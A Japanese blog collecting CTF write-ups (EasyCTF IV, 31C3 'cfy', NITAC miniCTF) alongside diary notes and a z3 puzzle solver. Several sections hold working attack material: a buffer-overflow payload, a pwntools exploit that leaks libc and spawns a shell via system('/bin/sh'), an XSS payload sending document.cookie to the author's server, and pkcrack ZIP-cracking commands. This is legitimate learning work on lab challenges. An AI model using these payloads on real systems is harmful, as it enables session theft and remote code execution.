更新日時で差をつけろ

むしろ差をつけられている

EasyCTF IV write-up

EasyCTF IV にチームBiPhoneから出ました(一人だけど)。2056ptsで89位でした。
楽しかった。ハリネズミ本に載っているようなpwnがあったので同級生に投げていこうかな。
以下write-up。問題数多いので10ptsや30ptsの問題は大体略していますごめんなさい。

Substitute 50pts

easyctf{THIS_IS_AN_EASY_FLAG_TO_GUESS}で通らず1日放置してから、HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.をまるごと投げたら通った。は?
sedするよりもhttp://quipqiup.com に投げたほうが早い。

$ echo 'FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.' | sed -e 's/F/y/g' -e 's/C/e/g' -e 's/L/s/g' -e 's/H/p/g' -e 's/W/c/g' -e 's/E/t/g' -e 's/N/f/g' -e 's/A/a/g' -e 's/P/h/g' -e 's/J/i/g' -e 's/I/o/g' -e 's/O/g/g' -e 's/G/u/g' -e 's/X/n/g' -e 's/S/l/g' -e 's/D/r/g' -e 's/U/w/g' -e 's/M/d/g' -e 's/Z/v/g' -e 's/T/m/g' -e 's/Y/b/g' -e 's/T/m/g'
 
yo! nicebowlofsoup Qust made a new flag for the ctf and is totally proud of its ingenuity. this is also the second problem ever made for easyctf. here: easyctf{this_is_an_easy_flag_to_guess} use capital letters.

Soupreme Encoder 20pts

FLAG: hexit_mate_c17c5c159e1f0cb857f2
'68657869745f6d6174655f6331376335633135396531663063623835376632'.chars.each_slice(2) { |p, q| print (p+q).to_i(16).chr }
としていたが
['68657869745f6d6174655f6331376335633135396531663063623835376632'].pack("H*")でよかった。

Intro: Reverse Engineering 30pts

もう1回暗号化するだけだが、Pythonの扱いに慣れない…
easyctf{char_by_char_67bdFD}
https://stackoverflow.com/questions/17615414/how-to-convert-binary-string-to-normal-string-in-python3

#!/usr/bin/env python3
import binascii
key = "DbitqlPo"
def mystery(s):
    r = ""
    for i, c in enumerate(s):
        r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256))
    return binascii.hexlify(bytes(r, "utf-8"))
 
expected = '6503c2a125c2a768c28672431a7bc28e131e19c39e23c3aa03c3aec28bc3aac397c29b04c394c3ae41'
plain = mystery(binascii.unhexlify(expected).decode('utf-8'))
 
print(binascii.unhexlify(plain).decode('utf-8'))

format 160pts

x64でのFSB。espが指す場所にそのまま積まれている。

user95405@shell:/problems/format$ ./format
Enter your name: %p %p %p %p %p %p %lx %lx %lx
Your name is: 0x400a5a 0x7f8a8ea9b780 0xe 0x7f8a8ecb8700 0xe (nil) 4625f35200000000 7025207025207025 2520702520702520
 
Enter your secret password (in hex)
4625f352
easyctf{p3sky_f0rm4t_s7uff}

Starman 1 80pts

ナップザックDP。

#include <iostream>
#include <vector>
#include <algorithm>
 
using namespace std;
 
int r[2018], w[2018];
int dp[2018][2018];
 
int main() {
    int N, W;
    cin >> N >> W;
    for (int i = 0; i < N; i++) cin >> r[i] >> w[i];
 
    for (int i = 0; i < N; i++) {
        for (int k = 0; k <= W; k++) {
            if (k >= w[i]) {
                dp[i+1][k] = max(dp[i][k], dp[i][k - w[i]] + r[i]);
            } else {
                dp[i+1][k] = dp[i][k];
            }
        }
    }
 
    cout << dp[N][W] << endl;
 
    return 0;
}

Liar 70pts

デバッグ情報がついているバイナリとそのソースが渡されるが、それらはダミー。逆アセンブルすると全く異なる処理が行われていることがわかる。読んでRubyに書き換えると以下のようになる。

def encode number
  f = [
    0x65, 0x66, 0x7d, 0x6c, 0x7f, 0x57, 0x4c, 0x4a,
    0x4b, 0x4b, 0x2f, 0x21, 0x38, 0x04, 0x15, 0x08,
    0x03, 0x19, 0x59, 0xf1, 0xd3, 0xe7, 0xf5, 0xce,
    0xf7, 0xcd, 0xd7, 0xd9, 0xe8, 0x94, 0xa0, 0xb0,
    0x87, 0x8f, 0x9a, 0xca, 0x81
  ]
  g = []
  buf = number ^ 0x58eb29
 
  0x25.times do |i| # <-----
    g[i] = 0xFF & ((buf * i) ^ f[i]) 
  end
 
  g[0x25] = 0
 
  g.each { |x| print x.to_s(16) + ' ' }
  puts g.map(&:chr).join
end
 
encode gets.to_i

出力される文字はeasyctf{なので、<---で示したループにおいてi=1のとき0xFF & ((number ^ 0x58eb29) ^ 0x66) = g[1] = 'a' = 0x61になればよい。
XORをとるとnumberは5827374とわかるので入力に与えるとFLAGが出る。

$ ruby exploit.rb
5827374
65 61 73 79 63 74 66 7b 73 74 69 6c 6c 5f 77 61 73 6e 27 74 5f 74 6f 6f 5f 62 61 64 2c 5f 72 69 67 68 74 3f 7d 0 easyctf{still_wasn't_too_bad,_right?}

Adder 80pts

radare2で見るとC++っぽいメソッド名がたくさん。
3つの数字を受け取って、その和が0x539 = 1337になればFLAGを表示する。

~/c/e/adder $ ./adder
Enter three numbers!
1337 0 0
easyctf{y0u_added_thr33_nums!}

Keyed Xor 100pts

案外苦戦した。
大量の単語が改行区切りで入ったwords.txtから2単語選び連結した文字列と暗号文keyed_xor.txtのXORを取るとFLAGが出るらしい。

words.txtは20538行あるので、すべての組み合わせを試そうとすると20538 * 20537通りなので終わらない。
いろいろ悩んだ末、復号した平文がeasyctf{で始まっていると仮定して暗号文とXORをとり、鍵を逆算してみた。
すると鍵がaggravatで始まっていることがわかる。

$ xxd keyed_xor.txt 
00000000: 0406 140b 0202 070f 0308 1217 030f 140b  ................
00000010: 0718 0e15 070b 0615 121a 1906 000b 011c  ................
00000020: 151b 181d 0016 091f 0a17 1e08 0811 1612  ................
00000030: 1009 0200 090d 040b 0c13 0e1b 0f09 1211  ................
00000040: 131a 1719 1d16 111d 1517 08              ...........
$ irb
irb(main):002:0> (0x04 ^ 'e'.ord).chr
=> "a"
irb(main):003:0> (0x06 ^ 'a'.ord).chr
=> "g"
irb(main):004:0> (0x14 ^ 's'.ord).chr
=> "g"
irb(main):005:0> (0x0b ^ 'y'.ord).chr
=> "r"
irb(main):006:0> (0x02 ^ 'c'.ord).chr
=> "a"
irb(main):007:0> (0x02 ^ 't'.ord).chr
=> "v"
irb(main):008:0> (0x07 ^ 'f'.ord).chr
=> "a"
irb(main):009:0> (0x0f ^ '{'.ord).chr
=> "t"

aggravatで始まる単語は5つしかないので、5 * 20537通りとなり全探索できるようになる。

encrypted = File.binread('keyed_xor.txt').bytes
 
['aggravated', 'aggravation', 'aggravating', 'aggravate', 'aggravations'].each do |a|
  File.read('words.txt').split("\n").each do |b|
    decrypted = ''
    key = a + b
    encrypted.each_with_index do |ch, i|
      decrypted += (key[i % key.size].ord ^ ch.ord).chr
    end
    
    puts decrypted
  end
end

Digging for Soup 150pts

2つあったDNSの問題の一つ。キャッシュサーバが権威サーバからゾーン情報を取得するのに使われるゾーン転送要求・AXFRというものを使う。寮内のLANからはdigができないのでhttp://digwebinterface.com/を使った。

gyazo.com

gyazo.com

https://i.gyazo.com/48002ac037b4f7fc3040c7ec2fb21a6c.png

EzReverse 140pts

実行すると自身を削除してしまうので、逆アセンブルして読む。これぐらいの小さなアセンブリでも普通に1時間弱溶けてしまうので早く慣れたいなあ。
コマンドライン引数の文字をABCDEとして表すと、以下のような式が成り立つときにFLAGを表示する。

4 + D = 'o'
4 + D + 0xe = 3 + C
1 + A = 5 + E - 10
2 + B = '5'
3 + 4 + D = 5 + E

あてはまる文字列はg3zkmになる。

$ ./executable g3zkm
Now here is your flag: 10453125111114 

rop1 120pts

バッファオーバフローでget_flag()にリターンさせる。これぐらいはラクラク解けるようになってきた。

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
void get_flag()
{
    system("/bin/cat flag.txt");
}
 
void get_input()
{
    char inp[64];
    gets(inp);
    printf("You said: %s\n", inp);
}
 
int main(int argc, char** argv)
{
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    get_input();
    return 0;
}

get_flag()0x400646にある。

$ python -c  'print("\x00" * 72 + "\x46\x06\x40\x00")' | ./rop1
You said: 
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)

Little Language 250pts

何故解けたかさっぱりわからない。
自分がこれを解いたのは全チームのなかで5,6番目だったのだが、Discordで「解法を交換しないか」とb0bb3rという参加者からメッセージが送られてきた。どのチームかはわからないが酷い。

次のような数式っぽい画像encryptedと、BNFのようなテキストが添付される。この2つをもとパスワードをゲットしてログインする。
https://i.gyazo.com/5ad7213d010347427d611fb66e461424.png

S : E                           { ExpS $1 }
  | global var '=' E            { GlobalVarS $2 $4 }

REDACTEDとして除去されていた画像中のpasswordはl7&4C&Cgなようだ。

$ strings password
....
note: the password is l7&4C&Cg

与えられたアドレスとポートに接続すると、対話型の画面が出る。

> 3 + 5
8
> ghiehut4
Lexなんとか Error

おそらくここからログインするのだろうが、さっぱりわからないので添付されたテキストファイルを見てみる。
ExpSはおそらくExpression, 式のことで、GlobalVarSグローバル変数ではないかと思った。$2は左側のvarの位置に入力された文字列が入り、$4には左側にあるE(式)の評価結果が入ると推測して入力してみる。

> global username = root
....
> global password = l7&4C&Cg
....
> username
root

どうやら推測が当たったようだ。そして最後のログインもいろいろエスパーしたらなんか出てきた。

> login
(エラー)
> login username password
(エラー)
> signin
(エラー)
....
> flag
EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}

実は上の数式のようなものは、「small-step semantics」といって、計算機科学の分野では一般的なものらしい。
http://proofcafe.org/sf/Smallstep_J.html ここに説明が書いてあるので後で読んでみたい。

2/18

一日中若干頭と目元が痛かった。モニタの見すぎと文字(制御文字含め)の見すぎのダブルパンチ。でも気分はよかった。

Scrapboxにメモしていた興味のある事柄を整理整頓した。
パタヘネというあだ名がついているコンピューターの構成と設計 という本を見つけた。有名な本で大学でも利用されているらしい。
府立図書館に入っていたので春休みに借りてみたい(その前にリバースエンジニアリングバイブル最後まで読み切りたい…

15:00ぐらいまで暗号のPDFを読んでいた。30ページ進んだ。RSA暗号の仕組みを理解できた(説明しろと言われると難しいので、やっぱりまだかな)。
Cryptoはこわくて敬遠してたけどなるべくできるようになっておいたほうが良いと思う。

剰余環、有理体などという難しそうな話もあったが、ちょっとずつ読めばなんとなくわかった。足す引く掛ける演算に渡す引数と返り値が同じタイプの数(たとえば整数)のときそのタイプを環と考えたり、剰余では独特な逆数(=逆元??)と割り算を考えて環から体というものに持ち込んだりする考え方が新鮮だった。
RSAを知った当初は「どうやったらこんなのを思いつくんだ??」と不思議だったけれど、ElGamal暗号とか数学の世界で剰余環においてのべき乗の一方向性などが研究されていたのがベースにあったと知り偶然ではないんだなぁと。

例の「ハンバーガーメニューみたいな等号」は合同式という名前がついていると知ったので、 NITAC miniCTF で出題されたけど解かなかったRSAの入門の問題を解いた(素数p,q, 公開鍵N, eが与えられ、de ≡ 1 (mod (p-1)(q-1)) Dec(c) = c^d mod n に当てはめるだけだがそのときはわからなかった)。
Pythonでの例が示されていたが、Pythonは嫌いなのでRubyOpenSSL::BNを使った。標準のInteger(Bignum)では無理だった。

RSAやSHA256という名前こそセキュスペを取るときやWebサービスを作るときに覚えたものの、内部の仕組みまで把握していなかったので面白いし、言及している内容もセキュスペとかぶる部分があるので頭に入ってくる。

なんとなく部屋の中に文字が多すぎる気がしたので本棚の本を前後反対にして背表紙の文字が見えないようにした。特になにも変わらなかった。

EasyCTFを進めていこうとしたが、なかなかもう解ける問題がない。かんたんな問題を3つほど通して80位ぐらい。せめて2桁には残りたい。
300 Solvedなのにわからない問題が…何かを見落としているのだろうか。
暗号の知識を早速使ってみようとするもののわからない…write-up待つだけになりそうw

今日は明石高専の学力入試だったので、なんとなく「明石高専 寮 生活」とかで検索してみるとかなり上の方にたのしい潮寮生活が来ていた。ちょっとうれしい。
新入生の何人かがこれを読んでいる可能性も十分にある。学内表彰をもらっても良いのでは?(適当)

明日も休み うれしい

31C3 CTF 「cfy」

pwn問題集easyより。
FunnyBusiness と同じぐらいの難易度に感じた。眠くてよくわからなくなってwrite-upを開いたけど単純だったのでもうちょっと粘ればよかったなあ...

概要

動かすと、0)~3)のオプションが提示されて適当に打つとhexと10進数を変換してくれるプログラム。
parse from pointerはよくわからなかった。

入力された0~3の値を4bit左シフト(=16倍)してからobj.parsers = 0x601080に足し、処理内容を変えているのがわかる。(obj.buf = 0x6010e0にはPlease enter your number:での入力が入っていて、call raxの際の第一引数になる)

shl rax, 4                              
add rax, obj.parsers                    
mov rax, qword [rax]                    
mov edi, obj.buf  
call rax

だが、ここでは入力チェックが欠けていて、-2とか100などの入力も受けつけてしまいSIGSEGVを起こす。
値を16倍しているので、たとえば-3だと48バイト前に書かれているアドレスをcallする。
obj.parsers周辺を見てみると、printfobj.bufもcallできることがわかる。

0x00601000  280e 6000 0000 0000 0000 0000 0000 0000 ; .got.plt領域
0x00601010  0000 0000 0000 0000 d605 4000 0000 0000                                                                           
0x00601020  e605 4000 0000 0000 f605 4000 0000 0000 ; 0x4005e6 -> printf, オプション -6) !?                                                                
0x00601030  0606 4000 0000 0000 1606 4000 0000 0000 ; 0x400606 -> fgets                                                            
0x00601040  2606 4000 0000 0000 3606 4000 0000 0000                                                                           
0x00601050  4606 4000 0000 0000 0000 0000 0000 0000                                                        
0x00601060  0000 0000 0000 0000 0000 0000 0000 0000 ; .data領域
0x00601070  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601080  3d07 4000 0000 0000 b409 4000 0000 0000 ; obj.parsers, オプション 0) -> 0x40073d                                                                    
0x00601090  6107 4000 0000 0000 c309 4000 0000 0000 ; オプション 1) -> 0x400761                                                      
0x006010a0  8507 4000 0000 0000 d209 4000 0000 0000 ; オプション 2) -> 0x400785                                               
0x006010b0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010c0  0000 0000 0000 0000 0000 0000 0000 0000 ; .bss領域
0x006010d0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010e0  0000 0000 0000 0000 0000 0000 0000 0000 ; obj.buf = 0x6010e0, オプション 6) !?                                               
0x006010f0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601100  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601110  0000 0000 0000 0000 0000 0000 0000 0000   

printfでリークができないか試してみる。上より、-6を入れてやればcallできた。

$ ./cfy
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
-6
 
Please enter your number: AAAA %p %p %p %p %p | %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
AAAA 0x7f3165b79890 0x6010e0 0xfbad2288 0x24fc6d5 0x7f3165d634c0 | 0xfffffffa15031280 0x11 0x400930 0x7f31657be1c1 (nil) 0x7ffd15031288 0x100000000 0x40080c (nil) 0x41778c36290b7836 0x400650 0x7ffd15031280 (nil) (nil) 0xbe8da6b0180b7836 0xbf154641f9997836 (nil) (nil) (nil) 0x1 0x40080c 0x4009a0 (nil) (nil) 0x400650 0x7ffd15031280 
dec: 333
hex: 0x14d

9番目の%pで出力されている0x7f31657be1c1main関数のリターンアドレスで、__libc_start_mainにリターンする。
vmmapでlibcのベースアドレスは0x7ffff79f5000となったので、オフセットは0x211c1

$ rax2 -k '0x7ffff7a161c1-0x7ffff79f5000'
0x211c1

libcのベースアドレスがわかるので、system(オフセットは0x47dc0)のアドレスを計算したあと、それを呼び出したい。
上に書いたとおりobj.bufに書かれたアドレスもcallできるので、これを利用する。
まず1回目でobj.bufの領域にsystemのアドレスを書き込んだあと、2回目で/bin/shを引数として渡すと同時にcallする。
ここで注意すべきなのが、1回目でobj.bufに書き込んでも2回目で/bin/shという7byte分は上書きされるということ。なので、systemのアドレスは16byte後ろにずらして書き込む(オプションの数字も1つ増やす)。

Exploit

from pwn import *
 
c = remote('localhost', 62000)
 
libc_start_main_offset = 0x211c1
system_offset = 0x47dc0
 
# leak libc's address
c.recv(1024) 
c.send("-6\n")
c.recv(1024)
c.send("%9$lx\n")
 
libc_base = int(c.recv(12), 16) - libc_start_main_offset
log.info(hex(libc_base))
system_addr = libc_base + system_offset
 
# write system's address
c.recv(1024)
c.send("1\n")
 
payload  = p64(0)
payload += p64(0) # padding for string '/bin/sh'
payload += p64(system_addr)
payload += "\n"
 
c.recv(1024)
c.send(payload)
 
# pass '/bin/sh' & call system
c.recv(1024)
c.send("7\n") # 6 -> obj.buf, 7 -> obj.buf + 0x10
c.recv(1024)
c.send("/bin/sh\n")
 
time.sleep(0.3)
c.interactive()

Xmas Contest 2017 I - SAT Puzzle を z3 を使って解いた

Xmas Contest 2017のI - SAT Puzzleのパズルをz3というSMTソルバを使って解いてみた。

あとでminisatが解釈できるDIMACS CNFを出力するようにして実際にジャッジにも出してみたい。

参考にしたのはここ。
Xmas Contest 2017 I問題 SAT Puzzle 解説
SAT ソルバー 入門 JOI春合宿のスライド。
パズルをSugar制約ソルバーで解く

z3は単なるソルバなので、そのソルバを使う言語は自由に選べる。z3 gemがあったのでRubyで書いた。
隣接の判定を8方向で行ってたりいろいろ間違えたりして5時間ぐらいかかった…
exampleを見てなんとなくで書いているのでもっとスマートに書けるかも。

require 'z3'
 
class PuzzleSolver
  def initialize board
    @board = board
    @data = []
    @constraints = []
    @solver = Z3::Solver.new
  end
 
  def solve
    @data = (0...6).map do |y|
      (0...6).map do |x|
        make_cell x, y, @board[y][x]
      end
    end
 
    6.times do |y|
      6.times do |x|
        make_constraints_connectivity x, y
      end
    end
 
    make_constraints_unique
 
    if @solver.satisfiable?
      m = @solver.model
      
      @data.each do |row|
        puts row.map {|k| m[k[:c]].to_i == 1 ? 'x' : '.' }.join
      end
    else
      puts 'could not solve'
    end
  end
 
  def make_cell x, y, isblack
    c = Z3.Int "cell(#{x}, #{y})"
    g = []
    4.times do |i|
      g[i] = Z3.Int "group#{i}(#{x}, #{y})"
      @solver.assert 0 <= g[i]
      @solver.assert g[i] <= 4
    end
 
    @solver.assert Z3.Or(c == 0, c == 1)
    @solver.assert c == 1 if isblack
 
    # c, g1~g4から1つ以上が真で、2つ以上は同時に真にならない => ちょうど一つが真
    @solver.assert Z3.Or(g[0] > 0, g[1] > 0, g[2] > 0, g[3] > 0, c == 1)
    [c, *g].combination(2) do |a, b|
      @solver.assert Z3.Or(a == 0, b == 0)
    end
 
    {c: c, g: g}
  end
 
  def make_constraints_unique
    4.times do |group| # for group0, 1, 2, 3
      group_ints = @data.map do |row|
        row.map { |d| d[:g][group] }
      end.flatten
 
      1.upto(4) do |node_num|
        # group_intsのどれかがそれぞれノード番号1,2,3,4になる
        @solver.assert Z3.Or(*group_ints.map { |gi| gi == node_num })
        group_ints.combination(2) do |a, b|
          @solver.assert Z3.Or(a != node_num, b != node_num)
        end
      end
    end
  end
 
  def make_constraints_connectivity x, y
    4.times do |group|
      g = @data[y][x][:g][group]
 
      # 連結(ノード番号1を根とする有向木のように考えて、ノードの番号が2以上のときは自分より小さい番号のノートを隣に置く)
      r = adjacent(x, y).map do |nx, ny|
        Z3.And(@data[ny][nx][:g][group] > 0, @data[ny][nx][:g][group] < g)
      end
      @solver.assert Z3.Implies(g > 1, Z3.Or(*r))
 
      # 異なるグループのマスが隣接しない
      r = adjacent(x, y).map do |nx, ny|
        ([0, 1, 2, 3] - [group]).map { |other_group| @data[ny][nx][:g][other_group] == 0 }
      end
      @solver.assert Z3.Implies(g > 0, Z3.And(*r.flatten))
    
      # r = adjacent(x, y).map do |nx, ny|
      #   @data[ny][nx][:g4] > g4
      # end
      # @solver.assert Z3.Implies(g4 > 0, Z3.Or(*r)) # g4 == 4 のときに不可能
    end
  end
 
  def adjacent x, y
    r = []
    r << [x-1, y  ] if x > 0
    r << [x  , y-1] if y > 0
    r << [x  , y+1] if y < 5
    r << [x+1, y  ] if x < 5
 
    r
  end
end
 
board = '
......
...x..
..x..x
x..x..
....xx
x.x..x
'
board = board.split(' ').map { |line| line.chars.map { |ch| ch == 'x' } }
 
solver = PuzzleSolver.new board
solver.solve
$ ruby solve_by_z3.rb
x...x.
.x.x..
..xx.x
x.xxxx
xx..xx
xxx..x

NITAC miniCTFに参加した

2/4, 明石高専で開かれたminiCTFに参加しました。
personal-development名義でチームSMAPとして出て、個人1050点/チーム1950点で1位でした。
WebとCryptoに弱いのをなんとかしたい。

以下write-up。

Checkcoin

500億円程度流失していそうな問題名。
ユーザは1000NEM持っていて、FLAGを見るには10000NEM必要らしい。
また、Johnプロに募金ができるページが用意されている。ボタンを押すと書かれた数だけNEMが減っていく。

ソースを見るとこんな感じ(記憶から再現)なので、amountvalue-10000にするとNEMが加算されるようになり、無事FLAGを入手できる。

<input type="hidden" name="amount" value="5">
<input type="submit" value="5 nem">

Where flag?

gitを使った問題。
たまたまGitの配管コマンドについての記事を読んでいたのでこれを使った。

含まれているflag.txtは偽物。

$ cat flag.txt
NITAC{This_is_un!not_flag}

git logするも、嘘のフラグに書き換えた記録しかない。

$ git log --oneline
e0168bf (HEAD -> master) Change to lie flag
0001fda add tmp_flag

本番ではなんかいろいろウワーッとやったので覚えていない。
reflogを使えばChange to real flagからresetで履歴が書き換えられたことが確認できるらしい。

$ git reflog 
e0168bf (HEAD -> master) HEAD@{0}: commit: Change to lie flag
0001fda HEAD@{1}: reset: moving to 0001fda371ae32ee3f987f2ff63129ef647381a5
167eff1 HEAD@{2}: commit: Change to real flag
0001fda HEAD@{3}: commit (initial): add tmp_flag 

そこからは配管コマンドを使って、

$ git ls-tree 167e
100644 blob fa348447eb8e23bbf88da4521d3c4961abd91cdf    flag.txt
$ git cat-file blob fa34
NITAC{You_can_change_the_past}         

Basic!

.pcapが渡される。httpで絞りこんであげると、Basic認証のパケットがある。

http://10.0.0.111/にアクセスし、ID,PWをhoge, M2Fuchagam#qと入力するとFLAGにアクセスできる。

7ch

「adminのcookieを盗め」という問題。

自分「SQLi〜〜うーん、無理!w」
運営「Demand AdministratorのフォームにXSS脆弱性があるよ〜」
自分「(Googleを開く)」

python -m http.serverで適当にサーバを立ち上げたあと、<input>maxlength属性を書き換え、<script>document.location='http://(自分のマシンのIP):8000/'+document.cookie</script>を流し込む。
するとサーバ側で送信したデータが開かれるのでスクリプトも実行される。

$ python -m http.server
10.0.0.110 - - [04/Feb/2018 17:48:13] code 404, message File not found
10.0.0.110 - - [04/Feb/2018 17:48:13] "GET /admin=89iu4whyf9poqjfj89ygw3n0jfsjo82 HTTP/1.1" 404 -

また、LoginのページにFLAGが/admin/flagにあることが示されているので、Cookieadmin=89iu....に書き換えてアクセスするとFLAGが出る。

ZIPZIP

既知平文攻撃。
NITACminiCTF.pngconnpassページで公開されているエスパー。

$ zip downloaded.zip downloaded.png
$ pkcrack -C zip.zip -c NITACminiCTF.png -P downloaded.zip -p downloaded.png -d output.zip
$ unzip output.zip
$ cat flag.txt
NITAC{unzip_unzip_unzip}

John thinks...

@Akashi_SN への愛が足りずにFLAGを予測できなかった。無念。
stringsコマンドで。

$ strings hoge.jpg -n 20
NITAC{akashi_sn_kawaii}cms

34C3 CTF 「vim」のwrite-upを見た

いろいろ試したもののうまくいかなかった問題。Easyとは...(m0rphしか解けなかった人の顔
CTFtime.orgにwrite-upが上がっていたので参考にしつつリベンジしてみた。とてもくわしく書かれているがややこしいので、理解するために日本語に訳しているだけみたいなところがありアレ。
https://blog.rpis.ec/2017/12/34c3ctf-vim.html

Vimコマンドを読む

問題のファイル(上記URL参照)には、4行目にFLAGを入力しろと書かれている。
GY@"というコマンドは

  • G 最終行に飛び
  • Y 行全体をヤンクして(バッファにためて)
  • @" ヤンクした内容をコマンドとして実行する

という意味。

そこで最終行を見てみる。最終行周辺はよく見るとVimのコマンドになっている(気づくのにとても時間がかかった)。
わかりやすいようにコマンド単位に分割したのが以下。

6G (6行目行頭へ)
f2 "ayl (レジスタa = '2')
^ f0 "cyl "Ayl (レジスタc = '0', レジスタa += '0')
^ fh "Ayl (レジスタa += 'h')
^ fj "Ayl (レジスタa += 'j')
^ fG "gyl (レジスタg = 'G')
^ fk "Gyl (レジスタg += 'k')
G $ FY "Gy3l  (レジスタg += 'Y@"')
$ F@ "hyl (レジスタh = '@')
Fh "Hyl (レジスタh += 'h')
260G Y @" (260行目を実行)
F10H (実行されない)

いろいろ実行したあと260G Y @"でジャンプしている。(<X> <Y>などはあとで説明に使います)

1G ff "dyl "eyl "fyl (レジスタd, e, f = 'f')
4G @c "Dyl (レジスタd += レジスタcが指すFLAGの文字<X>)
6G @d h j "Eyl j "Fyl (6行目から<X>を探し、レジスタe += その左下の文字<Y>, レジスタf += さらにその1行下の文字<Z>) 
1G fl "Cyl (レジスタc += 'l')
6G f2 "byl F0 "Byl (レジスタb = '20')
261G Y @" (261行目を実行)
(3c043Bh4Hf5#)

261行目を見ると、

9G @e 19l @a "Byt. (9行目の文字<Y>にジャンプし、19文字右に移動、レジスタaを実行してカーソルから右に辿って'.'の直前までの文字列<P>をレジスタbに追記)
6G fj "Byl (レジスタb += 'j')
6G f2 "ayl F0 "Ayl (レジスタa = '20')
9G @f 19l @b "Ayt. (9行目の文字<Z>にジャンプし、19文字右に移動、レジスタbを実行して、カーソルから'.'直前までの文字列<Q>をレジスタaに追記)
6G fj "Ayl (レジスタa += 'j')
40| @a (適当に移動、またすぐ移動するので意味はない)
260G Y @" (260行目を実行)
(@1fBkya5B^)

あれ、これ無限ループでは…と思ったが、そうはならない。
自作のシミュレータに与えてみると、4行目に書いたFLAGの文字が終わるとエラーを出して終了した。末尾の()で囲んだ部分は実行されない。
実行中のレジスタの中身を吐かせてみるとこのようになる。write-upではVim本体にパッチをあてて検証したらしい。

{"a"=>"20hj", "c"=>"0l", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f3", "e"=>"f,", "f"=>"fG", "b"=>"20h33j"}
...
{"a"=>"20h169j", "c"=>"0llllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"ff", "e"=>"f2", "f"=>"f2", "b"=>"20l72j"}
...
{"a"=>"20h192j", "c"=>"0lllllllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f", "e"=>"f", "f"=>"f", "b"=>"20l78j"}

これと260・261行目からわかる内容をまとめると、

  • @a @b を実行するとたくさん移動する
  • 4行目で実行される@c には、lがどんどん後ろに連なっていくので、4行目のFLAGの文字を順番にフォーカスしている
  • @d @e @f@c に応じて変化
  • @h は自分を呼び出す(そして全体を通じてレジスタの中身が変化しない)
  • @g は下から2番目の行を実行する(そして全体を通じてレジスタの中身が変化しない)

このあと処理を逐次追ってみたけど頭が爆発しそうになったので諦めて本番はここで終わり。

依存関係を図にしてみたりした。ちょっとはわかりやすい…?
@bが決定したあとに@a が決定され、@aは次のループに引き継がれるので、1回のループで「与えられた@aとFLAGの文字をもとに、新たな@aを生成する」と考えることができる。

ループの仕組み

次に@a @bの動きを理解したい。
まず、FLAGから文字を取り出して6行目で検索し<X>が決定する。
逆の言い方をすれば、FLAGで使われる文字列はすべて6行目にある。
<X> によって <Y> <Z> が確定するが、そのもととなる7,8行目をよく見ると文字種が偏っている。

 6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI6HntUkUZmdU".i"
 7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@H1"jDA"h"53AA6.d -> <Y>
 8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G""@Bd@#$BEj_GG5,B -> <Z>

6行目で、重複しているために<X>にならない文字を省く(fGというようにアクセスされるので、同じ文字が2つあると右側にあるものにはたどり着かないことに注意)。
それによって<Y> <Z> も絞られるので省くと、以下のようになる。

6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI           "
7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@           A     -> <Y>
8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G"           G     -> <Z>

このように見ていくと、<Y> <Z> になる文字は@ , h G A l " _ 2だけだとわかる。
そして、<Y> <Z> は9行目でのジャンプにのみ使われている。ここも <Y> <Z> からアクセスされない部分は省いてしまう。

9 ._3d93@jA_F"H.#0GB8#c,5d#9lAaakh18ck2eGDcHlG7A21Cg8"C$3$e$"D@l.E^A6eDlbec5$D".hl
9  _    @ A  "    G    ,    l    h    2

また、9行目にジャンプしてからは19文字右に移動したあと @a @b のいずれかが実行される。
ここで、@a @b20h... 20l... から始まることに注目すると、最終的な<Y> <Z> からの横方向の移動距離は+19 ± 20 = -1 or +39の2つだけ。
移動先の候補に*で印をつけてみると、10行目以降のlh縦方向で揃う(下画像赤色部分)。

Aの移動先の候補はズレているが、7行目に遡ると1度しか出てきていないのでおそらくダミー。排除して考える。
加えて、h lの前にある文字もただのパディングとわかる。

そのあとは@a @b の続きで赤色の列を下に移動し<P> <Q> として追記したあとはじめへ戻る。
ここで、l250. h129. といった <P> <Q> の候補は 16 * 250 = 4000個ある。
この4000個を行ったり来たりして後述する@gに飛ばすようなFLAGを見つける。

狙う場所

write-upには@g に注目したと書いてある。vimを開いて1行目で指示されるコマンドを打った後、@gを実行するとwin!と出た。
なるほどそういうことか。

  1 Enter the flag in line 4 and type GY@"
  2 
  3 The flag is:
  4 34C3_example
  5 --------------------------------------------------------------------------------
  6 win!

そして@gを実行している箇所は108行目行頭だけなので、ココに飛ばせばよいということになる。

